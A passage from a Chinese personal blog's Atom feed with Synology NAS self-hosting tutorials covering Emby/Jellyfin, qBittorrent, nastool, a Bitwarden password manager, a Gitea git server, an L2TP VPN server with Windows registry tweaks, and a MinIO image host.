    <content type="html"><![CDATA[<h2 id="Emby（媒体服务器）">Emby（媒体服务器）</h2><p>媒体服务器，付费解锁硬件解码等功能，终身800多。可以直接使用jellyfin，jellyfin为emby收费后脱离出来的完全免费版本。</p><p>我的设备是群晖可以直接从套件中安装也可以使用docker安装。</p><p>Emby的电影刮削(就是获取指定视频的海报、演员照片姓名、评分之类的)还是不错的，电视剧的需要科学，科学后效果也一般。相反jellyfin因为可以装豆瓣插件，效果都挺不错的，但是太吃cpu了。</p><h3 id="套件安装">套件安装</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/d0f94c4ff5ed0f20e26e9f3b8acf58e6.png" alt="套件安装"></p><p>但是emby套件安装的实际使用过程中效率极慢，所以我最后还是选择在软路由中使用docker装了一个。</p><h3 id="docker安装">docker安装</h3><p>docker安装的配置如下，需要配置的内容不多，主要是红框内容。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/51ac66b9fcc18d3ce060f23460a1a097.png" alt="docker安装"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/1fbb41551cb8551ce9b9b409289ce7da.png" alt="docker安装"></p><p>配置完正常启动即可。</p><h3 id="emby配置">emby配置</h3><p>打开地址:http://{安装设备ip}:8096。默认端口是8096，但是和jellyfin端口冲突，所以实际可能不是8096，自己注意下即可。</p><p>创建用户之后正常进入系统。</p><p>这是我个人的配置后展示的画面。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/6ddb139a5ca4d9fe89369d506a4a4670.png" alt=""></p><h4 id="设置媒体库">设置媒体库</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/c14019c644d231b7b558619e9f4a900d.png" alt=""></p><p>大体分为电视剧和动漫两类，动漫视为电视剧。下面是电影和电视剧添加至媒体库的配置，动漫和电视剧的一致，文件夹根据自己实际情况来选。但是记得文件夹需要给权限，如果是套件安装有个Emby用户将其设置到你放视频的地方即可。如果是docker安装需要设置read和write权限，<code>UID</code>和<code>GID</code>设置为0。</p><h5 id="电视剧">电视剧</h5><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/5d27b986794e2a5c12cd14dab2c20cee.png" alt=""></p><h5 id="电影">电影</h5><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/0fa76f934a4a7d5929796d8e02341e2e.png" alt=""></p><h2 id="jellyfin-媒体服务器">jellyfin(媒体服务器)</h2><p>如果是群晖docker记得换源或者将系统升级到7.2+不然docker源用不起来，被墙了。</p><h3 id="下载映像">下载映像</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/2222289ffda1623122622d83aa49ca82.png" alt=""></p><h3 id="配置服务">配置服务</h3><p>我这边网络设置的是host所以端口设置为空，如果设置为bridge的话需要设置一下端口映射。</p><p>储存空间和环境变量设置如下，储存空间三个文件夹需要根据你自己服务器上的路径来设置，主要就是缓存的cache、配置文件config、媒体文件video三个目录。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/80d97ba92af6ae7c417536bb733a6b9e.png" alt=""></p><p>启动即可。</p><p>媒体库配置和emby差不多</p><h4 id="配置豆瓣刮削">配置豆瓣刮削</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/bd9b04be03d4a288db2151f5ab62c979.png" alt=""></p><p>储存库URL可以直接使用我的这个<code>https://nas.allbs.cn:8888/cloudpic/2023/08/f99ad9b5e94f0c89f59b4c01632d85aa.json</code>或者自己放浏览器下载后放到自己指定的位置。毕竟有可能出现我的minio忘记启动导致无法使用的情况。</p><h2 id="qBittorrent-下载器">qBittorrent(下载器)</h2><p>也可使用Transmission，当差不差。</p><h3 id="映像下载">映像下载</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/f8842f4cf582e54e3b5669834c9cabe5.png" alt=""></p><h3 id="docker配置">docker配置</h3><p>还是一样的网络设置host即可，如果要设置桥接，记得配置端口映射。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/29694d28d0dc94fd690564b7b5b48319.png" alt=""></p><p>主要就是两个目录一个是配置文件的目录，还有一个就是下载视频之后储存的位置。我这边不直接放到video中而是放到/video/download中，主要是为了后面可以直接使用硬链接，不直接转移视频，这样视频不会乱七八糟的存放的同时也可以保种。</p><h3 id="服务配置">服务配置</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/28047821fcfd824e8e754e7307b948a2.png" alt="服务配置"></p><p>这里劝告各位还是需要设置一下账号密码的，之前看一哥们用的ipv6又没设置密码直接挂在google搜索的第三。。。心真大。。。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/4670c0a9f6ded1dc5695a1812d2dd256.png" alt=""></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/1cfb0f43f06e296bfe3502cf80e046d4.png" alt=""></p><h2 id="nastool-媒体管理工具">nastool(媒体管理工具)</h2><h3 id="docker下载配置">docker下载配置</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/360d5128fa84281e7106918aa97e1f5f.png" alt=""></p><h3 id="docker配置-2">docker配置</h3><p>因为我这边使用了桥接，所以有个端口映射。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/78a7eabce2e99e565725a6f65efe7c05.png" alt=""></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/5c2841e5d8b45efa49c56fbb69d67a1b.png" alt=""></p><p>这里主要是三个目录需要配置，一个放nastool配置文件的目录，一个是视频存放目录，一个是下载的目录。</p><h3 id="nastool配置">nastool配置</h3><p>最新版本需要PT账号认证，需要自备PT站的账号密码。可以找不需要认证的docker版本。</p><p>这种平台还是比较多的，比如<a href="https://pt.m-team.cc/login.php">馒头</a>，<a href="https://1ptba.com/forums.php">1ptba</a>等等</p><h4 id="pt站配置">pt站配置</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/b85017a702e76577165e27395e5bd66e.png" alt=""></p><p>cookie可以按F12开发者模式随便找个请求拿其中的cookie即可。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/daab4b1756f143c34bd7042d55eb8912.png" alt=""></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/103c15168514e884a3d7c985c5d1318b.png" alt=""></p><h4 id="注册TMDB并获取其中的api-key">注册TMDB并获取其中的api key</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/92dcd2061f4764febaee91f24703f4d7.png" alt=""></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/1a86cc3d27295fe73ab725874d66cbdd.png" alt=""></p><p>将红箭头的内容拷贝到TMDB API key中即可，后面的openAi api key可以不填，有chatgpt的api可以申请后获取填入。</p><h4 id="媒体库目录">媒体库目录</h4><p>设置自己nas上的储存目录即可。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/3198eae465e681ff8e2b73156298210a.png" alt=""></p><h4 id="目录同步">目录同步</h4><p>根据自己目录配置即可，源目录是下载的目录，目的目录是上面emby/jellyfin配置的媒体库目录，使用硬链接同步，可以自动管理文件。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/ce15e4b79027b416d2c070a2d480ac8a.png" alt=""></p><h4 id="过滤规则">过滤规则</h4><p>过滤规则是将自己优先相看的视频类型排序，比如想看4K或者蓝光就将对应的内容调整到前面，搜索的时候会根据这个规则来排序</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/63b10c43c1daa61e9494c5e93fc95055.png" alt=""></p><h4 id="索引器">索引器</h4><p>索引器很关键，不能忘记勾选，否则上面搜索视频的时候将不会在非勾选的站点搜索。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/f51ffc2ed7eb3dbe9a7cd38afb545cb0.png" alt=""></p><h4 id="下载器">下载器</h4><p>配置你自己使用的下载器即可，需要设置账号密码。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/7a0506bb91ebe9bccdd3e42ef4f688dc.png" alt=""></p><h4 id="媒体服务器">媒体服务器</h4><p>根据自己使用的媒体服务器类型配置，需要在媒体服务器上先生成api key</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/9a273f0b6fea94529710b2384c1aa70e.png" alt=""></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/530145943b3c2cf989239c9ad6199fb8.png" alt=""></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/49bc02007f2399e034d0cddbaa4108c0.png" alt=""></p><h3 id="插件">插件</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/907628dc7117261fdc58edfce97fc792.png" alt=""></p><p>根据自己需要下载插件，比如需要目录自动同步</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/bbb7a70a9a1e6f5d47749b8d0bb70302.png" alt=""></p><h2 id="emby-jellyfin-infuse（播放器）">emby/jellyfin/infuse（播放器）</h2><h4 id="emby">emby</h4><p>播放器下载地址：<a href="https://emby.media/download.html">https://emby.media/download.html</a></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/853df620c225b9e95175963c92644e95.png" alt=""></p><h4 id="jellyfin">jellyfin</h4><p>播放器下载地址: <a href="https://jellyfin.org/downloads/clients/all/">https://jellyfin.org/downloads/clients/all/</a></p><p><a href="https://github.com/jellyfin/jellyfin-media-player/releases">https://github.com/jellyfin/jellyfin-media-player/releases</a></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/158b0fd282b82f1c643723f1d3e4996d.png" alt=""></p><h4 id="infuse">infuse</h4><p>如果是苹果全家桶使用这个软件也挺不错，自带解码，适合没有GPU的机器，订阅也不贵一年68。</p><h4 id="vidHub">vidHub</h4><p>国产产品，不支持杜比，作者已开启收割模式，不过价格倒是不贵。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;Emby（媒体服务器）&quot;&gt;Emby（媒体服务器）&lt;/h2&gt;
&lt;p&gt;媒体服务器，付费解锁硬件解码等功能，终身800多。可以直接使用jellyfin，jellyfin为emby收费后脱离出来的完全免费版本。&lt;/p&gt;
&lt;p&gt;我的设备是群晖可以直接从套件中安装也可以使用d</summary>
      
    
    
    
    <category term="nas" scheme="https://blog.allbs.cn/categories/nas/"/>
    
    
    <category term="群晖" scheme="https://blog.allbs.cn/tags/%E7%BE%A4%E6%99%96/"/>
    
    <category term="娱乐" scheme="https://blog.allbs.cn/tags/%E5%A8%B1%E4%B9%90/"/>
    
  </entry>
  
  <entry>
    <title>搭建自托管的密码管理器</title>
    <link href="https://blog.allbs.cn/posts/2259/"/>
    <id>https://blog.allbs.cn/posts/2259/</id>
    <published>2023-07-27T03:14:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h2 id="说明">说明</h2><p>秘钥管理的工具挺多的，但是个人感觉最好用的还是收费的1password和可以自建服务的bitwarden。1password体验还是不错的，但是有点贵了。所以下方使用bitwarden来搭建。docker hub被墙问题通过升级群晖系统至7.2+来解决或者添加国内镜像源。</p><h2 id="使用docker下载镜像">使用docker下载镜像</h2><p>下载这个社区重构的Rust版本，避免官方全家桶的超高占用。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/fc67b6cb596f857971cc07beba964065.png" alt="image-20230727111309183"></p><h2 id="配置参数启动参数和端口">配置参数启动参数和端口</h2><p>端口主要是下面那个80的端口映射，后面需要使用这个端口访问管理web</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/4016f6eb62658da8451085f9d12c53da.png" alt="image-20230727111444022"></p><p>环境变量配置一下两项</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">SIGNUPS_ALLOWED true</span><br><span class="line">TZ Asia/Shanghai</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/7913e342c33a0c398c8aca458941396f.png" alt="image-20230727111551576"></p><p>一直下一步启动即可</p><h2 id="访问web管理端">访问web管理端</h2><p>浏览器输入:<a href="http://xn--ip-u37dl93g:3088">http://群晖ip:3088</a></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/a756334ea9fbf98a4b51626dd88c8dce.png" alt="image-20230727111730640"></p><p>因为需要https才能完成配置，所以按照上几篇文章的说明来配置https即可。流程是一样的，设置反向代理服务器和路由器端口映射。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/57835391b5c84c270b8b0ce6e7407377.png" alt="image-20230727114237743"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/d209633e7f854bbfd083b2e7e1dcaaae.png" alt="image-20230727114418739"></p><h2 id="创建账户">创建账户</h2><p>点击下方的创建账号创建个人账户完成之后，记得把<code>SIGNUPS_ALLOWED</code>设置为false重启一下。</p><h2 id="浏览器中的使用">浏览器中的使用</h2><p>直接在商店下载该插件即可</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/3705dfe4c01db252a02a66b4b518362f.png" alt="image-20230727113549341"></p><h2 id="配置自托管服务器">配置自托管服务器</h2><p>点击区域选择自托管之后输入上方配置好的服务端域名，然后使用上面创建的账户密码登录即可。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/03f1f5105bb0a16ffb5dd3f97e253655.png" alt="image-20230727113702573"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;说明&quot;&gt;说明&lt;/h2&gt;
&lt;p&gt;秘钥管理的工具挺多的，但是个人感觉最好用的还是收费的1password和可以自建服务的bitwarden。1password体验还是不错的，但是有点贵了。所以下方使用bitwarden来搭建。docker hub被墙问题通过升级群晖系</summary>
      
    
    
    
    <category term="nas" scheme="https://blog.allbs.cn/categories/nas/"/>
    
    
    <category term="密码" scheme="https://blog.allbs.cn/tags/%E5%AF%86%E7%A0%81/"/>
    
    <category term="自托管" scheme="https://blog.allbs.cn/tags/%E8%87%AA%E6%89%98%E7%AE%A1/"/>
    
    <category term="bitwarden" scheme="https://blog.allbs.cn/tags/bitwarden/"/>
    
  </entry>
  
  <entry>
    <title>git私有仓库搭建</title>
    <link href="https://blog.allbs.cn/posts/37929/"/>
    <id>https://blog.allbs.cn/posts/37929/</id>
    <published>2023-07-26T06:14:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言">前言</h2><p>gitlab内存占用太高，所以用了比较节省资源的gitea</p><h2 id="条件">条件</h2><p>因为众所周知的原因，大家都知道docker hub被墙了，所以如果在群晖nas中使用docker，要么是将镜像修改为国内的镜像，要么将群晖的DSM升级到7.2+，原来的docker套件会升级为Container Manager，可以正常使用docker下载各种镜像。</p><h2 id="安装数据库">安装数据库</h2><p>gitea需要依赖数据库，这里以mysql做示例</p><h3 id="双机运行镜像">双机运行镜像</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/b2d17615e6e7e6569f07fcb5f763a9e8.png" alt="image-20230726133954577"></p><h3 id="配置端口和文件夹如下图">配置端口和文件夹如下图</h3><p>注意初始化的文件夹必须为空，否则初始化目录会失败导致容器启动失败。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/a520f332fe253177efb7397f656ddf7c.png" alt="image-20230726134412086"></p><h3 id="环境变量配置root用户密码和插件密码">环境变量配置root用户密码和插件密码</h3><p>将<code>MYSQL_ROOT_PASSWORD</code>和<code>MYSQL_AUTHENTICATION_PLUGIN</code>配置进去，下图的两个汉字密码修改为你自己需要设定的密码即可。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/84521aabce696d6942fcfcb4f0970563.png" alt="image-20230726134719432"></p><h3 id="后续不需要其他配置直接下一步后完成即可">后续不需要其他配置直接下一步后完成即可</h3><h3 id="使用连接工具连接上mysql并创建库gitea">使用连接工具连接上mysql并创建库<code>gitea</code></h3><p>比如我使用的是navicat，新建连接，主机填群晖的内网ip，密码就是上一步在环境变量中配置的密码。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/7a23b7f1d46ac1e745df628eed3ad613.png" alt="image-20230726140008541"></p><p>新建数据库，库名gitea，字符集和排序规则都是utf8</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/38efd07f95b2c1650154a97ec14f9b1e.png" alt="image-20230726140136925"></p><h2 id="安装gitea">安装gitea</h2><h3 id="双机映像运行即可">双机映像运行即可</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/e7469fa8508d66f96ca665cabc4f75f5.png" alt="image-20230726134943036"></p><h3 id="配置端口和数据储存的文件夹">配置端口和数据储存的文件夹</h3><p>因为我本地端口和gitea默认的端口有冲突，所以修改成了4022和43000。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/5c112e677a4fe7c6ed421ca15d7749eb.png" alt="image-20230726145733659"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/0cc3a9c8c2cc87b4483184cf433cf3ab.png" alt="image-20230726145807358"></p><h3 id="运行">运行</h3><p>上述配置好后直接下一步然后点击完成即可</p><h3 id="访问gitea-web端进行数据库配置">访问gitea web端进行数据库配置</h3><p>访问地址: 群晖主机ip:上述配置的端口。以我自己环境说明，我群晖内网ip为<em>192.168.0.150</em>，上述配置的端口为<em>43000</em>，所以访问地址为<code>http://192.168.0.150:3001/</code></p><p>访问页面如图所示，将第一步运行的数据库配置进来。数据库主机如果mysql和gitea都为桥接则设置为群晖ip:3306。如果都为host则设置localhost:3306</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/4039e3e617e095852e903255540180a9.png" alt="image-20230726140512104"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/213f36cfed1834b3af311aa50f84b867.png" alt="image-20230726150043743"></p><h3 id="最下方可以设置管理员的账号密码，如果不设置则第一个注册的用户就是管理员。">最下方可以设置管理员的账号密码，如果不设置则第一个注册的用户就是管理员。</h3><h3 id="等待安装完成，正常情况下几秒应该就装好跳转到首页了">等待安装完成，正常情况下几秒应该就装好跳转到首页了</h3><h2 id="映射至公网访问">映射至公网访问</h2><p>首先映射到公网需要必要条件是公网ip(隔几天会变的那玩意,不是固定的,电信的话打个电话找人工不要一分钟就有了)，有一个固定的域名可以ddns。具体做法可以看前几篇文章。</p><p>先配置登陆门户-&gt;反向代理服务器</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/9bc979ee578c0ad7fce03e17f5ab3cf8.png" alt="image-20230726151056799"></p><p>然后在路由器里面配置好端口转发即可</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/51cd9758a20b644c7bbca414d3966e09.png" alt="image-20230726151224571"></p><p>然后就可以正常访问了</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/1e8e58fe367ab2a0a6d705d4bd223b7b.png" alt="image-20230726151251277"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;前言&quot;&gt;前言&lt;/h2&gt;
&lt;p&gt;gitlab内存占用太高，所以用了比较节省资源的gitea&lt;/p&gt;
&lt;h2 id=&quot;条件&quot;&gt;条件&lt;/h2&gt;
&lt;p&gt;因为众所周知的原因，大家都知道docker hub被墙了，所以如果在群晖nas中使用docker，要么是将镜像修改为国内</summary>
      
    
    
    
    <category term="nas" scheme="https://blog.allbs.cn/categories/nas/"/>
    
    
    <category term="git" scheme="https://blog.allbs.cn/tags/git/"/>
    
    <category term="代码" scheme="https://blog.allbs.cn/tags/%E4%BB%A3%E7%A0%81/"/>
    
    <category term="私库" scheme="https://blog.allbs.cn/tags/%E7%A7%81%E5%BA%93/"/>
    
  </entry>
  
  <entry>
    <title>群晖NAS搭建VPN Server，使自己能够访问内网服务</title>
    <link href="https://blog.allbs.cn/posts/15877/"/>
    <id>https://blog.allbs.cn/posts/15877/</id>
    <published>2023-07-11T09:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h2 id="下载套件">下载套件</h2><p>套件中心VPN Server已下架所以需要在官网上下载后安装。</p><p><a href="https://global.synologydownload.com/download/Package/spk/VPNCenter/1.4.9-2971/VPNCenter-x86_64-1.4.9-2971.spk?model=DS923%2B&amp;bays=4&amp;dsm_version=7.2&amp;build_number=64570">下载地址</a></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/005e8dad677a82fc226ce9a2d5df14a5.png" alt="image-20230711165306708"></p><h2 id="配置VPN">配置VPN</h2><h3 id="设置权限">设置权限</h3><p>配置可以使用VPN的用户</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/18c9ea02b5934a8e0915d15a929f38e8.png" alt="image-20230711165418632"></p><h3 id="开始配置">开始配置</h3><p>这边我使用的是L2TP/IPSec的方式,设置预共享秘钥并记住。点击应用开启即可。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/f760dc2efd90625dc8af2883f59f731f.png" alt="image-20230711165527049"></p><h2 id="windows">windows</h2><p>配置window访问在<code>网络和internet</code>-&gt; <code>VPN</code>-&gt; <code>添加VPN</code></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/f76d55d97e3451d65ca85c31f7c013a4.png" alt="image-20230711170308306"></p><p><strong>配置好了之后可能无法访问，因为需要设置一下windows</strong></p><p>使用管理员权限打开cmd之后粘贴以下两行代码（分两次输入执行）之后重启电脑即可。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">REG ADD HKLM\SYSTEM\CurrentControlSet\Services\PolicyAgent /v AssumeUDPEncapsulationContextOnSendRule /t REG_DWORD /d 0x2 /f</span><br><span class="line"></span><br><span class="line">REG ADD HKLM\SYSTEM\CurrentControlSet\Services\RasMan\Parameters /v ProhibitIpSec /t REG_DWORD /d 0x0 /f</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/b89a5091ae8be502a0a1121c16a6033d.png" alt="image-20230711170537066"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/900c020216a24d037a78587d765528be.png" alt="image-20230711170645379"></p><h2 id="手机端，手上没有安卓但是原理一致">手机端，手上没有安卓但是原理一致</h2><p><code>设置</code>-&gt; <code>VPN</code></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/ae7dc4396b867207177112d00168c572.png" alt="image-20230711170955514"></p><p>点击完成后启用即可</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;下载套件&quot;&gt;下载套件&lt;/h2&gt;
&lt;p&gt;套件中心VPN Server已下架所以需要在官网上下载后安装。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://global.synologydownload.com/download/Package/spk/VPNCente</summary>
      
    
    
    
    <category term="nas" scheme="https://blog.allbs.cn/categories/nas/"/>
    
    
    <category term="群晖" scheme="https://blog.allbs.cn/tags/%E7%BE%A4%E6%99%96/"/>
    
    <category term="VPN" scheme="https://blog.allbs.cn/tags/VPN/"/>
    
  </entry>
  
  <entry>
    <title>个人文档图床搭建使用</title>
    <link href="https://blog.allbs.cn/posts/51445/"/>
    <id>https://blog.allbs.cn/posts/51445/</id>
    <published>2023-07-10T03:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h2 id="准备条件">准备条件</h2><table><thead><tr><th style="text-align:center">使用工具</th><th style="text-align:center">说明</th></tr></thead><tbody><tr><td style="text-align:center">群晖nas</td><td style="text-align:center">家用服务器，无论白群黑群，用是一样的</td></tr><tr><td style="text-align:center">路由器</td><td style="text-align:center">需要在路由器中配置群晖nas作为DMZ主机，或者开放群晖nas指定端口</td></tr><tr><td style="text-align:center">公网或ipv6</td><td style="text-align:center">为了能在公网中访问群晖nas</td></tr><tr><td style="text-align:center">域名</td><td style="text-align:center">非必须，主要是比较好用，用其他方式比如内网穿透等方式也可以</td></tr></tbody></table><h3 id="群晖nas">群晖nas</h3><p>之前用的一台DS218+，升级了内存至6g，最近趁着搬家和618置换了一台923+并升级了32g，两块2T硬盘也置换了4块4T。所以需要把之前服务器内数据同步到新的里面。</p><h3 id="路由器">路由器</h3><p>这个不用说，肯定要在路由器中设置外网端口并映射到群晖nas。要么是直接将群晖作为DMZ，要么就是做端口映射。</p><h3 id="公网ip或ipv6">公网ip或ipv6</h3><p>个人在江苏，办理了两个宽带都是电信的，要公网ip还是比较简单的。直接打10000找人工跟她说要公网ip，基本都是秒答应，然后光猫关机十分钟就可以了。</p><p>注意：是公网ip而不是固定ip，固定ip还是挺贵的，公网ip是免费的。</p><p>光猫需要修改桥接模式，这个直接找办理宽带的师傅远程修改下就可以了，当然自己有超管账号也可以自己修改，注意改完后记得重启光猫并根据改完后的宽带账号密码设置路由器拨号上网。</p><h3 id="域名">域名</h3><p>这个不是必须的，但是有了还是挺方便的，也不贵一年几十块。</p><h2 id="群晖nas安装minio作为文件服务器">群晖nas安装minio作为文件服务器</h2><h3 id="安装套件中心">安装套件中心</h3><p>大家都知道国内已经屏蔽docker hub，所以群辉nas中自带的docker套件肯定也查不到相关的镜像了，但是*DSM升级7.2+*之后会将以前的docker套件升级为Container Manager,还是可以像以前一样使用的。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/2538529a3cccc4c0f97cd2ff198b65a8.png" alt="image-20230710115040748"></p><h3 id="打开container-manager并安装minio">打开container manager并安装minio</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/f2b1a7965ee424edbf3bd1ef51ddcc14.png" alt="image-20230710115137146"></p><h3 id="在映像中找到minio并运行">在映像中找到minio并运行</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/7e3df2b85d36a97d86cf59068608d361.png" alt="image-20230710115239703"></p><h3 id="常规设置开启自动启动">常规设置开启自动启动</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/72e2ab1674a4cacd901712e155fef220.png" alt="image-20230710115456666"></p><h3 id="高级设置">高级设置</h3><h4 id="端口配置">端口配置</h4><p>首先需要两个端口一个作为minio控制台的端口，一个作为minio api服务的端口</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/4d418d4d376d87e821168d1349dd872a.png" alt="image-20230710115743610"></p><p>上面的9000是minio api使用的端口，下面8000是minio控制台使用的端口。如果需要修改，则根据这篇文章后续的启动命令中启动参数。</p><h4 id="储存空间设置，配置一个config配置文件目录，配置一个文件储存目录。">储存空间设置，配置一个config配置文件目录，配置一个文件储存目录。</h4><p>下面这个<code>/data</code>目录要和下方的启动命令相对应</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/21185b0c075599f0a01395f925831445.png" alt="image-20230710120013719"></p><h3 id="设置管理员账号密码">设置管理员账号密码</h3><p>在环境中点击新增增加两行分别用来配置账号<code>MINIO_ROOT_USER</code>和密码<code>MINIO_ROOT_PASSWORD</code></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/cc7e2410bcd85553b52b9dbe99e1153b.png" alt="image-20230710131720976"></p><h3 id="网络">网络</h3><p>网络可以设置和nas同一个网络环境，当然使用桥接也可以。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/9404f286fbf1767d3be1fb7fb4221707.png" alt="image-20230710131852608"></p><h3 id="启动命令">启动命令</h3><p>根据上述端口配置来确定启动命令</p><p>比如上方设置的控制台端口<code>8000</code>,api端口为<code>9000</code>,文件基础目录为<code>/data</code>,则启动命令为<code>server --address 0.0.0.0:9000 --console-address 0.0.0.0:8000 /data</code>,可以根据自己实际使用情况自行修改。</p><h3 id="运行容器">运行容器</h3><h2 id="配置minio外网访问">配置minio外网访问</h2><h3 id="群晖nas中代理端口">群晖nas中代理端口</h3><p>打开<code>控制面板</code>-&gt; <code>登录门户</code>-&gt; <code>高级</code>-&gt; <code>反向代理服务器</code>配置控制台端口和api端口的代理</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/0ba78356c4ae13d2bbdea9a46af6efab.png" alt="image-20230710132531580"></p><p>配置端口</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/81d461f62c589a2d4f4d8e7b6b749338.png" alt="image-20230710132739909"></p><h3 id="来源">来源</h3><ul><li><p>协议:选择https是因为我的域名申请了ssl证书，如果没有设置则使用http</p></li><li><p>主机名: 使用*号即可</p></li><li><p>端口: 我这边设置的是<code>8000</code>,那么最后我从外网使用域名访问的时候就是<code>https://域名:8000</code>, 可以修改其他端口</p></li></ul><h4 id="目的地">目的地</h4><ul><li>协议: 选http即可</li><li>主机名: 因为上方网络选择的是<code>host</code>所以这边直接使用<code>localhost</code>就可以了</li><li>端口: 这边的端口要和上面启动命令中设置的端口一致</li></ul><p>我这边自定义了外网访问端口，实际效果如下</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/f0380350fa201dc7407f03e2d6a32fe7.png" alt="image-20230710134219434"></p><h2 id="minio配置">minio配置</h2><h3 id="先使用上述的域名-反代端口访问控制台，账号密码就是环境中配置的那俩。">先使用上述的域名+反代端口访问控制台，账号密码就是环境中配置的那俩。</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/ece7bb9a3fc40f364ab1d2dc142c49e3.png" alt="image-20230710134437103"></p><h3 id="创建桶">创建桶</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/6670f4a5ec183b4bc577ba4e030a1282.png" alt="image-20230710134537535"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/1e650fa69158e456e3897c495e48fb08.png" alt="image-20230710134618778"></p><h3 id="设置桶Access-Policy为Public">设置桶Access Policy为Public</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/07/3136c41a2b48fc9595fa8836247c557b.png" alt="image-20230710134732000"></p><h3 